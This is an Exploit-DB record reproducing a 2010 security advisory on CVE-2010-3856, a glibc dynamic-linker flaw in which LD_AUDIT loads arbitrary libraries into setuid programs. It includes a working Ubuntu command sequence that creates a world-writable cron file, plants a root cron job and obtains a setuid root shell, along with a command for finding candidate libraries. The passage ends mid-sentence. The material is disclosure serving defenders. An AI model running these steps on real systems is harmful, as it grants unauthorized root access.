Exploit-DB #15304
Description: GNU C Library 2.x (libc6) - Dynamic Linker LD_AUDIT Arbitrary DSO Load Privilege Escalation
Type: local
Platform: linux
Date: 2010-10-22
Author: Tavis Ormandy

Exploit:
Source: http://marc.info/?l=full-disclosure&m=[PII_REDACTED]4692&w=2


The GNU C library dynamic linker will dlopen arbitrary DSOs during setuid loads
-------------------------------------------------------------------------------

CzeÅ›Ä‡, This advisory describes CVE-2010-3856, an addendum to CVE-2010-3847.

Please see http://seclists.org/fulldisclosure/2010/Oct/257 for background
information.

For obvious reasons, the dynamic linker will ignore requests to preload user
specified libraries for setuid/setgid programs. However, it is possible to
imagine legitimate use cases for this functionality, so the glibc developers
provide an exception to this rule.

 LD_PRELOAD
     A whitespace-separated list of additional, user-specified, ELF
     shared libraries to be loaded before all others. This can be
     used to selectively override functions in other shared
     libraries. For set-user-ID/set-group-ID ELF binaries, only
     libraries in the standard search directories that are also set-
     user-ID will be loaded.

In order to be preloaded during the execution of a privileged program, a
library must be setuid and in the trusted library search path. This is a
reasonable design, before a library will be loaded, the system administrator
must brand a library as safe to load across privilege boundaries.

This feature allows developers who design their programs to operate safely
while running as setuid to opt-in to doing so. Bizarrely, the same conditions
do not apply to LD_AUDIT, which will load an arbitrary DSO, regardless of
whether it has been designed to operate safely or not.

While the dynamic loader will only use a library that exports the dynamic
symbols required by the rtld-auditing API, it must first dlopen() the
library in order to examine the exported symbols. By definition, this must
execute any defined initialization routines.

This confusion can be exploited by locating a DSO in the trusted search path with
initialization code that has not been designed to operate safely while euid !=
uid. See the Notes section below for additional discussion on this topic.

--------------------
Affected Software
------------------------

At least the following versions have been tested

    2.12.1, FC13
    2.5, RHEL5 / CentOS5
    2.11.1, Ubuntu 10
EDB Note:    2.7, Debian 5

--------------------
Consequences
-----------------------

This is a low impact issue that is only of interest to security
professionals and system administrators, end users do not need to be
concerned.

It is possible to exploit this confusion to execute arbitrary code as root.

The exact steps required to exploit this vulnerability will vary from
distribution to distribution, but an example from Ubuntu 10.04 is given below.

# The creation mask is inherited by children, and survives even a setuid
# execve. Therefore, we can influence how files are created during
# exploitation.
$ umask 0

# libpcprofile is distributed with the libc package.
$ dpkg -S /lib/libpcprofile.so
libc6: /lib/libpcprofile.so
$ ls -l /lib/libpcprofile.so
-rw-r--r-- 1 root root 5496 2010-10-12 03:32 /lib/libpcprofile.so

# We identified one of the pcprofile constructors is unsafe to run with
# elevated privileges, as it creates the file specified in the output
# environment variable.
$ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping
ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined \
                symbol: la_version; ignored.
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
            [-M mtu discovery hint] [-S sndbuf]
            [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination

# This results in creating a world writable file in the crontab directory.
$ ls -l /etc/cron.d/exploit
-rw-rw-rw- 1 root taviso 65 2010-10-21 14:22 /etc/cron.d/exploit

# Setup a cronjob to give us privileges (of course, there are dozens of other
# ways this could be exploited).
$ printf "* * * * * root cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit\n" > \
/etc/cron.d/exploit

# Wait a few minutes...
$ ls -l /tmp/exploit
ls: cannot access /tmp/exploit: No such file or directory
$ ls -l /tmp/exploit
ls: cannot access /tmp/exploit: No such file or directory
$ ls -l /tmp/exploit
-rwsr-xr-x 1 root root 83888 2010-10-21 14:25 /tmp/exploit

# A setuid root shell appears.
$ /tmp/exploit
# whoami
root

-------------------
Solution
-----------------------

Major distributions should be releasing updated glibc packages shortly.

-------------------
Credit
-----------------------

This bug was discovered by Tavis Ormandy.

Thanks to Ben Hawkes and Julien Tinnes for additional insight, and
their expertise tracking down convincing attack vectors.

-------------------
Greetz
-----------------------

Greetz to Hawkes, Julien, LiquidK, Lcamtuf, Neel, Spoonm, Felix, Robert,
Asirap, Spender, Pipacs, Gynvael, Scarybeasts, Redpig, Kees, Eugene, Bruce D.,
and all my other elite friends and colleagues.

Additional greetz to the openwall guys who saw this problem coming years ago.
They continue to avoid hundreds of security vulnerabilities each year thanks to
their insight into systems security.

http://www.openwall.com/owl/

-------------------
Notes
-----------------------

Finding candidate libraries is simple a matter of identifying DSOs that have
declared constructors or other initialization code. There are multiple
locations that initialization code can be declared, but .ctors is a common
example.

Using objdump, you can examine the section headers for any .ctors section.

$ find /lib /usr/lib -maxdepth 1 -type f -exec objdump --headers --section=.ctors {} \
\;

[ The system administrator can add additional trusted search paths by declaring
  them in /etc/ld.so.conf, but